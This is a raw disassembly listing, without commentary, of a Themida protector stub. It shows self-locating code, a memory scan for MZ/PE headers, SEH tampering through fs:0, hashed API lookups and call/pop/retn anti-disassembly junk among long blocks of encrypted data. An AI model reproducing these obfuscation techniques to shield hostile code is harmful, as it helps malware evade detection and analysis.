dd 7BBF89E8h, 7EB85DCAh, 9C6FAD32h, 34DB56Fh
db 26h
; ---------------------------------------------------------------------------
loc_5BF8A1: ; CODE XREF: Themida_:005BF87Fj
mov edi, [ebp+6130AE9h]
jmp loc_5BF80A
; ---------------------------------------------------------------------------
dd 7390D873h
; ---------------------------------------------------------------------------
inc esi
mov al, 6Ch
loc_5BF8B3: ; CODE XREF: Themida_:005BF88Bj
mov edx, 0F0113000h
sub edx, 0F0000000h
add edx, 14h
mov [ebp+6133189h], edx
sub edx, 14h
lea eax, [ebp+617368Fh]
push eax
push large dword ptr fs:0
mov large fs:0, esp
call $+5
pop eax
sub eax, edx
and eax, 0FFFFF000h
loc_5BF8EC: ; CODE XREF: Themida_:005BF90Ej
cmp word ptr [eax], 5A4Dh
jnz loc_5BF909
movzx edx, word ptr [eax+3Ch]
add edx, eax
cmp dword ptr [edx], 4550h
jz loc_5BF913
loc_5BF909: ; CODE XREF: Themida_:005BF8F1j
sub eax, 1000h
jmp loc_5BF8EC
; ---------------------------------------------------------------------------
loc_5BF913: ; CODE XREF: Themida_:005BF903j
mov ecx, eax
mov [ebp+6130BB9h], eax
add eax, [eax+3Ch]
movzx edx, word ptr [eax+6]
mov [ebp+6130B65h], edx
mov edx, [eax+50h]
mov [ebp+6132A95h], edx
add eax, 0F8h
mov edx, [eax+0Ch]
add edx, ecx
mov [ebp+6130B5Dh], edx
add edx, [eax+8]
mov [ebp+6132125h], edx
pop large dword ptr fs:0
add esp, 4
jmp loc_5BF96C
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
sub dword ptr [ecx+0B0h], 1000h
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_5BF96C: ; CODE XREF: Themida_:005BF954j
cmp dword ptr [ebp+6131F95h], 0
jz loc_5BF99D
mov byte ptr [ebp+61311E1h], 47h
push 0D49AA7D2h
push dword ptr [ebp+6131EE9h]
lea eax, [ebp+6167C33h]
call eax
push 0
call eax
mov [ebp+61316C1h], eax
loc_5BF99D: ; CODE XREF: Themida_:005BF973j
mov edx, ebx
pusha
mov [ebp+61328D9h], ebx
mov eax, eax
pusha
or ax, 8EA2h
xor cx, 5D1Bh
popa
cmp dword ptr [ebp+6131625h], 0
jnz short loc_5BF9C6
cmp dword ptr [ebp+6132C81h], 0
jz short loc_5BF9DF
loc_5BF9C6: ; CODE XREF: Themida_:005BF9BBj
push eax
push ebx
mov eax, eax
mov eax, 438h
mov [ebp+6130D7Dh], eax
lea ebx, [ebp+615A97Dh]
call ebx ; _iob
pop ebx
pop eax
loc_5BF9DF: ; CODE XREF: Themida_:005BF9C4j
cmp dword ptr [ebp+6132C81h], 0
jz short loc_5BF9FF
push eax
push ebx
mov eax, 438h
mov [ebp+6130D7Dh], eax
lea ebx, [ebp+615A66Ch]
call ebx ; _iob
pop ebx
pop eax
loc_5BF9FF: ; CODE XREF: Themida_:005BF9E6j
push 0
push ebp
call sub_5BFA0A
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFA0A proc near ; CODE XREF: Themida_:005BFA02p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5BFA0A endp
; ---------------------------------------------------------------------------
xchg eax, edx
jz short locret_5BFA90
push 0
push ebx
call sub_5BFA28
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFA28 proc near ; CODE XREF: Themida_:005BFA20p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5BFA28 endp
; ---------------------------------------------------------------------------
add eax, 6D8F10EDh
adc ebx, ebx
leave
mov eax, eax
xor esi, [ebp+6132965h]
call sub_5C01E6
push 0
push ecx
call sub_5BFA58
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFA58 proc near ; CODE XREF: Themida_:005BFA50p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5BFA58 endp
; ---------------------------------------------------------------------------
dd 39610A95h, 0BA82F257h, 0F860DB74h, 1ECD9523h, 66610613h
dd 5E50CF81h, 13D18589h, 6A0613h, 3E853h, 5B200000h
; ---------------------------------------------------------------------------
locret_5BFA90: ; CODE XREF: Themida_:005BFA1Bj
retn
; ---------------------------------------------------------------------------
pop ebx
mov [esp+4], ebx
add dword ptr [esp+4], 18h
inc ebx
push ebx
retn
; ---------------------------------------------------------------------------
pop ebx
imul ecx, esp, -0Ch
xchg eax, esp
call sub_5C01E6
push 0
push eax
call sub_5BFAB6
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFAB6 proc near ; CODE XREF: Themida_:005BFAAEp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5BFAB6 endp
; ---------------------------------------------------------------------------
xor [edx+4Ch], ah
adc edi, [ecx+1Ah]
xchg ebp, [eax-307E99FEh]
enter 0FFFF8916h, 85h
xchg eax, ebp
sbb dl, [ebx]
push es
push 0
push ecx
call sub_5BFAE5
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFAE5 proc near ; CODE XREF: Themida_:005BFADDp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_5BFAE5 endp
; ---------------------------------------------------------------------------
db 76h, 0E8h, 0Bh
dd 4B000000h, 0DF82C94Dh, 59EE4D2Eh, 8D8B2DDAh, 61318B9h
dd 6D4E85Eh, 0B5890000h, 6132F8Dh, 28318589h, 8B660613h
dd 6C0E8F8h, 85890000h, 613005Dh, 0BE8h, 0B0024E00h, 0DE908DE8h
dd 7395387Ch, 8E9h, 51537D00h, 0FC7718AAh, 97E85EF2h, 6A000006h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 9BC4C355h, 4782A1EAh, 9589EA3Bh, 61322ADh
dd 302D8589h, 8B660613h, 660E8F7h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 180424h, 52420000h, 0A86B17C3h
dd 0AE99EC6h, 0ED000000h, 0B7D6D9D0h, 4BBF9962h, 0ED858924h
dd 6A061331h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 0BC5FC353h, 0EB1F2BB3h, 8F0F86h
dd 0E8000000h, 5FEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 6CC35343h, 0A984C2BFh, 5D858921h, 6A061312h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 3358C353h, 132385BDh, 0FA8B6606h, 5ADE8h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 5B07F1F8h, 0FE91A466h, 858986BFh, 6131B65h
dd 38F0Fh, 0F5570000h, 574E85Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0CC6565C3h
dd 6D2F33AEh, 8589F8F5h, 6131139h, 0C2E5B966h, 541E8h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 0FC221182h, 4D958B60h, 0F061317h, 1386h
dd 0DE800h, 85990000h, 0A455C344h, 3DB07DBEh, 5FD53569h
dd 0D5858961h, 8906130Eh, 1312A19Dh, 4F0E806h, 0B9660000h
dd 8D8B4346h, 6132A09h, 0B018589h, 66560613h, 5E9085B9h
dd 10E8h, 154AB900h, 0AF4668FCh, 0A08C7017h, 0B294BF1Ch
dd 0BFE85EA9h, 29000004h, 132A6D85h, 1858906h, 0F061321h
dd 684h, 8D8D8B00h, 0E8061319h, 4A2h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 22C35040h, 157D5512h, 4B272655h
dd 0A185892Ch, 6A06132Ch, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 0AD31C353h, 89CB702Ch
dd 13178595h, 4BE8F806h, 6A000004h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 1425C351h
dd 1CE6F556h, 0B9858905h, 0FC061320h, 41DE8h, 96C68100h
dd 8966849Eh, 13230985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1B04h, 0C3554500h, 4F050D5Eh, 8CE125F3h
dd 1FE99D89h, 0E3E80613h, 6A000003h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 2B8DC357h
dd 8960DAE1h, 132035B5h, 85896106h, 6132331h, 28799589h
dd 0B00613h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ch, 4AC35040h, 0E5B4D440h, 0D2987D16h, 0FCA8B66h, 160D8B6h
dd 132161B5h, 0DE806h, 801A0000h, 0E26D06EFh, 75820F36h
dd 0FDD6899h, 8Dh, 0BA615F00h, 6, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 5EC35646h, 4760EE82h, 0E66AE729h
dd 17419D89h, 0C38B0613h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ch, 0FEC35141h, 7564730Eh, 0A1B72BCBh, 8B04E8C1h
dd 131125B5h, 0DAB96606h, 0E2F76645h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 76C35040h, 0DB4ADFBEh, 9DC5808h
dd 0F98D0B89h, 2B061304h, 52006AD8h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 7EF4AE47h
dd 5A762F56h, 2800Fh, 0F88B0000h, 241C8950h, 0C69B501h
dd 95FF0613h, 6132111h, 1375B58Bh, 6A5B0613h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 0CF43C352h, 8D01487Fh, 613120Dh, 2FCD958Dh, 6A0613h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 810D02C3h, 0E961BF4Fh, 14h, 0DDB5FFDBh, 0B8B469DAh
dd 86AC9ACFh, 469DB802h, 0B439EC4Ah, 0BF0F1A89h, 1D8D8BC8h
dd 8906131Eh, 6A0442h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 70D628C3h, 60F08BB5h, 2890Fh, 5E500000h
dd 1AF98529h, 8D610613h, 13109595h, 0C88B6606h, 12E9h
dd 3D931A00h, 1D4049DAh, 57545B4Dh, 3EB178E7h, 89267091h
dd 51006A1Ah, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h
dd 0C3514100h, 0D1B105A0h, 6A044289h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0BC3FC355h
; ---------------------------------------------------------------------------
loc_5C005C: ; DATA XREF: ___:off_443EACo
adc ebp, [ecx+21B50354h]
adc [ebx], edx
push es
mov cx, dx
lea edx, [ebp+613189Dh]
sub [ebp+6132A45h], edi
mov [edx], ebx
mov [ebp+6130F75h], ecx
mov [edx+4], eax
push 0
push ebx
call sub_5C008A
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C008A proc near ; CODE XREF: Themida_:005C0082p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5C008A endp
; ---------------------------------------------------------------------------
xchg eax, esp
lea edx, [ebp+61329B1h]
add [ebp+6131919h], eax
clc
mov [edx], ebx
push 0
push edx
call sub_5C00B5
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C00B5 proc near ; CODE XREF: Themida_:005C00ADp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5C00B5 endp
; ---------------------------------------------------------------------------
db 22h, 0DFh, 8Eh
; ---------------------------------------------------------------------------
mov al, 0A4h
stosd
lodsb
mov [edx+4], eax
cld
mov [ebp+6132D11h], eax
lea edx, [ebp+61300BDh]
push 0
push ebx
call sub_5C00E7
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C00E7 proc near ; CODE XREF: Themida_:005C00DFp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5C00E7 endp
; ---------------------------------------------------------------------------
mov esi, 5DBD8B62h
and dl, [ebx]
push es
mov [edx], ebx
push 0
push ecx
call sub_5C010C
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C010C proc near ; CODE XREF: Themida_:005C0104p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 14h
inc ecx
push ecx
retn
sub_5C010C endp
; ---------------------------------------------------------------------------
dd 42CF813Ch, 8947D4C2h, 0B58B0442h, 61319E9h, 19958Dh
dd 6A0613h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 0E68FC3C3h, 9F5B0E96h, 9E9h, 0E3CDAA00h
dd 0B562FBF9h, 1A891F62h, 860F6050h, 0
; ---------------------------------------------------------------------------
popa
pop esi
mov [edx+4], eax
push 0
push esi
call sub_5C017C
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C017C proc near ; CODE XREF: Themida_:005C0174p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_5C017C endp
; ---------------------------------------------------------------------------
and al, 7Ah
das
or dl, [ebx]
mov esi, [ebp+61301B1h]
lea edx, [ebp+6131A61h]
mov cl, al
mov [edx], ebx
mov esi, [ebp+6132021h]
mov [edx+4], eax
mov [ebp+6130E05h], eax
jmp loc_5C01C7
; ---------------------------------------------------------------------------
db 26h, 2Fh, 6
dd 6CF6FBADh, 72B8617Bh, 85CDEC3Eh
db 70h, 8Ah, 0Dh
; ---------------------------------------------------------------------------
loc_5C01C7: ; CODE XREF: Themida_:005C01B0j
lea edx, [ebp+6132499h]
mov [edx], ebx
mov cx, dx
mov [edx+4], eax
cld
xor di, 5B56h
jmp loc_5C028C
; ---------------------------------------------------------------------------
mov esi, [ebp+6131DA5h]
; =============== S U B R O U T I N E =======================================
sub_5C01E6 proc near ; CODE XREF: Themida_:005BFA48p
; Themida_:005BFAA6p
push 0
mov [ebp+6132B99h], esi
push 0
mov cx, 72B7h
push 0
sub [ebp+6131D85h], esi
push 0
push 0
push esi
call sub_5C0209
and [esi-3Dh], bl
sub_5C01E6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5C0209 proc near ; CODE XREF: sub_5C01E6+1Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_5C0209 endp
; ---------------------------------------------------------------------------
db 28h, 0FCh, 8Dh
dd 0CF63F17Ch, 0F592F1Fh, 386h, 0FB8B6600h, 128995FFh
dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 8C07CCC3h, 950FDFA9h, 1FE9B58Bh, 6AC30613h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 5EC8C352h, 94DB3696h, 95BB760h, 1306299Dh
dd 85896106h, 6130DD9h
; ---------------------------------------------------------------------------
loc_5C028C: ; CODE XREF: Themida_:005C01DBj
mov al, ch
push 0
push eax
call sub_5C0299
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0299 proc near ; CODE XREF: Themida_:005C0291p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5C0299 endp
; ---------------------------------------------------------------------------
wait
stosb
dec edx
cmp [ebx], ah
das
pop ebp
dec ebx
and byte ptr [eax+9], 8Dh
cdq
or edx, [ebx]
push es
sub dx, 6F3Ch
popa
mov eax, eax
mov ecx, 1541B27Fh
cmp dword ptr [ebp+6131625h], 0
jnz short loc_5C02D8
cmp dword ptr [ebp+6132C81h], 0
jz short loc_5C02F1
loc_5C02D8: ; CODE XREF: Themida_:005C02CDj
push eax
push ebx
mov eax, eax
mov eax, 438h
mov [ebp+6133115h], eax
lea ebx, [ebp+615A9E4h]
call ebx ; _iob
pop ebx
pop eax
loc_5C02F1: ; CODE XREF: Themida_:005C02D6j
cmp dword ptr [ebp+6132C81h], 0
jz short loc_5C0311
push eax
push ebx
mov eax, 438h
mov [ebp+6133115h], eax
lea ebx, [ebp+615A685h]
call ebx ; _iob
pop ebx
pop eax
loc_5C0311: ; CODE XREF: Themida_:005C02F8j
push 0
push edi
call sub_5C031C
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C031C proc near ; CODE XREF: Themida_:005C0314p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5C031C endp
; ---------------------------------------------------------------------------
pop ss
mov eax, 46BE1FD8h
adc eax, 664C0FA0h
xor edi, 0B58B348Bh
pop ecx
xor dl, [ebx]
push es
mov eax, eax
lea eax, [ebp+6131EA9h]
adc bh, 6Fh
nop
mov bx, dx
push eax
mov edi, 6B2D66DAh
nop
push 0
push eax
call sub_5C0362
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0362 proc near ; CODE XREF: Themida_:005C035Ap
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5C0362 endp
; ---------------------------------------------------------------------------
dw 6C5Ch
dd 37FF4D79h, 0FE1A8674h, 6ADE8Bh, 38E0Fh, 0BF0F0000h
dd 6A006AF9h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 0E205C356h, 8D50911Eh, 17425085h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 8DF97D91h, 0C0837E17h, 56006A05h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 56BF50B1h, 893DA10Eh, 6A2404h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 0B334EBC3h, 64AF9D83h
dd 0BFE9DBF1h, 274AB876h, 16C5BD8Bh, 6A0613h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 41C35040h, 182DEF8Dh
dd 6A9C30h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 0A3C35141h, 95FF0D83h, 61307F1h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 96C35747h, 8DBFCB99h
dd 3139E38Dh, 6A8D8D5Ch, 6A0616A3h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A7E1C350h
dd 6330858Dh, 0FF1F57BCh, 0BD83FCD1h, 613173Dh, 47850F01h
dd 8B000000h, 133029BDh, 6AFAB706h, 6050F902h, 66DA8B66h
dd 8961F88Bh, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 987E5EC3h, 9986951Dh, 0A8DBD03h
dd 95FF0613h, 6131E95h, 0E7E9AAB3h, 0E800000Dh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 617425Ah
push 0
push esi
call sub_5C0536
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0536 proc near ; CODE XREF: Themida_:005C052Ep
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_5C0536 endp
; ---------------------------------------------------------------------------
dw 0F98Ch
; ---------------------------------------------------------------------------
pop esi
aad 0E2h
push cs
das
fimul word ptr [ebx]
mov ebp, 613282Dh
jmp loc_5C055E
; ---------------------------------------------------------------------------
db 5Bh, 0A9h, 0CCh
; ---------------------------------------------------------------------------
mov dl, 51h
loc_5C055E: ; CODE XREF: Themida_:005C0554j
mov edi, [ebp+61305F1h]
lea eax, [ebp+6168F5Eh]
mov edi, 8FC93Bh
push eax
jmp loc_5C057F
; ---------------------------------------------------------------------------
align 2
dw 38A1h
dd 4645F240h
db 0A2h, 3Ah, 26h
; ---------------------------------------------------------------------------
loc_5C057F: ; CODE XREF: Themida_:005C0570j
mov [esp], eax
xor di, 0FE29h
push large dword ptr fs:0
mov ebx, [ebp+61301E5h]
mov large fs:0, esp
ja loc_5C05A7
sub [ebp+6132439h], esi
loc_5C05A7: ; CODE XREF: Themida_:005C059Bj
inc dword ptr [ebp+61316D9h]
push 0
push edx
call sub_5C05B8
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C05B8 proc near ; CODE XREF: Themida_:005C05B0p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5C05B8 endp
; ---------------------------------------------------------------------------
dd 2C1184EAh, 81D6E574h, 1F1891E7h, 0FF6AFC24h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 42C35545h, 6CEA4C2Bh
dd 9531580Fh, 6130C19h, 13D1B5FFh, 0BB660613h, 95FF1B99h
dd 61331ADh, 118E9h, 85BD2900h, 0B0061323h, 0E65F5200h
dd 12E970h, 5D1F0000h, 0DCCB883Bh, 441D41B2h, 0B5526A9Bh
dd 0F054A652h, 13E971E4h, 86000000h, 0A8CCFFDCh, 0FB333A91h
dd 7E7C64CCh, 0D5C7BE2Eh, 3CFCDCE1h, 0D2830F61h, 60000000h
dd 5E9h, 15836B00h, 8589A87Bh, 6133511h, 0C8B60F61h, 6BAD88Ah
dd 8B000000h, 0E19D8BC1h, 0C1061323h, 9D8904E8h, 61301F5h
dd 89E2F766h, 131411BDh, 23C82B06h, 131FF5BDh, 0BD18B06h
dd 130961BDh, 6E906h, 0B5290000h, 6131425h, 2FCD858Bh
dd 8D890613h, 6132255h, 6607C083h, 83B226BFh, 0BD8B00C0h
dd 61331E5h, 830FD03Bh, 10h, 0CB5CDCBBh, 53E961h, 0BD090000h
dd 613233Dh, 16A18D8Bh, 8E90613h, 0D4000000h, 57B0D7A9h
dd 832F54B3h, 840F01E1h, 31h, 0EE9h, 3876DD00h, 3D2C08FFh
dd 0A296E20Dh, 83ACBC2Ah, 1316A1A5h, 0BD89FE06h, 6131EC1h
dd 2FCD9589h, 890F0613h, 0
; ---------------------------------------------------------------------------
jmp $+5
lea esi, [ebp+616DB8Bh]
mov di, ax
push 0
mov ebx, [ebp+6131AEDh]
adc di, 0C8D4h
call dword ptr [ebp+6130DA9h]
push 0
push ebx
call sub_5C0754
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0754 proc near ; CODE XREF: Themida_:005C074Cp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5C0754 endp
; ---------------------------------------------------------------------------
inc ebx
cmc
mov eax, ds:0A84CD19Bh
adc [eax], ecx
db 3Eh
mov bl, 8Dh
mov ecx, 889h
sub [ebp+61318E1h], edx
and ecx, 0FFFFFFFCh
and ebx, [ebp+613063Dh]
stc
cld
pusha
mov bx, cx
mov di, si
popa
mov eax, 0
push 0
push esi
call sub_5C079E
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C079E proc near ; CODE XREF: Themida_:005C0796p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_5C079E endp
; ---------------------------------------------------------------------------
or al, 1Ch
imul ecx, [ebx+132C599Dh], 6
sub edx, edx
push 0
push ecx
call sub_5C07C4
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C07C4 proc near ; CODE XREF: Themida_:005C07BCp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5C07C4 endp
; ---------------------------------------------------------------------------
dd 6E2F1E38h, 14F5BD8Bh, 33AD0613h, 3E8D1C2h, 4E983D0h
dd 6AF475h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 1AC69CC3h, 5FC61BBEh, 0BD33EE74h, 6131A01h
dd 880Dh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1704h, 0C3524200h, 0E0A6E69Fh, 958BD98Bh, 6131BBDh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 78C35242h
dd 2D63EF23h, 0DD8D8B04h, 6A061318h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 6B4AC350h
dd 8C3FA23Dh, 8B66B741h, 959D8BFBh, 50061325h, 188BC28Bh
dd 188BC103h, 0E8D1C18Bh, 188BC203h, 56006A58h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 315716BFh
dd 13198585h, 0F7816606h, 0BD836813h, 6131D1Dh, 7D840F00h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 6670C357h, 0B70FF98Bh, 0B8D8h
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
dd 55450000h, 8983E5C3h, 132A358Dh, 8D8D8D06h, 8A06134Fh
dd 6AE1FFDEh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 0CD6EC350h, 0D11143DFh, 0D781206Ah
dd 647F8FFCh, 3055BD83h, 0F000613h, 3BA84h, 7CEF8000h
dd 3055BD83h, 0F010613h, 3C584h, 83FA8B00h, 133055BDh
dd 860F0306h, 380h, 1B318589h, 0E9600613h, 12h, 1A3BC6Fh
dd 0F42AAAFBh, 0E0C0341Ah, 47351328h, 9589B124h, 6133075h
dd 51D98C66h, 1BCDBD8Bh, 665F0613h, 44F8CF81h, 904E180h
dd 131FD19Dh, 0FC90A06h, 0E684h, 0BE666000h, 0BD898BE8h
dd 6132C75h, 0B9858B61h, 6A06132Bh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0A317C353h
dd 396DE772h, 0A195894Bh, 33061308h, 1305B985h, 0F8BF0F06h
dd 91B75350h, 2404895Bh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 17h, 4AC35040h, 2BE5D049h, 131AF99Dh, 0E9006A06h
dd 0Fh, 871D517h, 408FCD9Eh, 3E03A5A3h, 68E9EAF3h, 9ACD55C4h
dd 81FE8B66h, 0AE3B2404h, 800F6551h, 6, 159589h, 95FF0613h
dd 6130A3Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 22C35141h, 94F822B5h, 0FC8C4CF5h, 23799D2Bh, 85890613h
dd 616C454h, 2B008CBFh, 1EBE96Ah, 0D88B0000h, 8BF9C380h
dd 16C44C85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1D04h, 0C3534300h, 9F26BD7Dh, 0FAEE3C0Dh, 14E9BAA0h
dd 6B000000h, 6A58D680h, 33C63771h, 0FC164247h, 0EEEA863h
dd 0E91870E3h, 5, 0EF8CCD1Dh, 1800C792h, 0F000000h, 28Ah
dd 8BD98B00h, 16C450B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 8BCA62Ah, 85BD8B63h, 8B061330h
dd 132A5585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 0BD0B2D1Bh, 6131CC9h, 0AE80689h
dd 4F000000h, 0F83AB423h, 98767DFCh, 3840FA5h, 80000000h
dd 665FA5DBh, 0C961EF81h, 2BB9858Bh, 0BD8B0613h, 6131FB1h
dd 6A044689h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 9317C357h, 8119BEA8h, 9D6306CFh
dd 7EB39658h, 6A9650h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 0CC9714C3h, 85374640h, 6C99D0Bh
dd 0B5FF0613h, 616C44Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 0F7C35545h, 50AA59DEh, 0E439BC6Dh, 0AE8F585h
dd 4E000000h, 0CCC2327h, 0C4FC91B2h, 5F5B56CAh, 144A8C68h
dd 0AE87Ah, 603B0000h, 0C5C3B4CAh, 5A14893Fh, 8E9h, 0F87DB600h
dd 2E9A4179h, 34815F62h, 0B497324h, 54858D7Ah, 890616C4h
dd 1313AD85h, 0D19D8B06h, 90061325h, 0D98B5250h, 5250310Fh
dd 8B66310Fh, 5A585AD9h, 60605058h, 310F5250h, 5250585Ah
dd 585A310Fh, 61605361h, 8B906159h, 130BAD9Dh, 3D95FF06h
dd 8B06130Ah, 1305359Dh, 6A6106h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 562865C3h, 1F359D89h
dd 0C75B0613h, 13305585h, 306h, 0F5B58900h, 8306131Dh
dd 16C454BDh, 840F0006h, 2Ch, 0E857006Ah, 3, 5FC35F20h
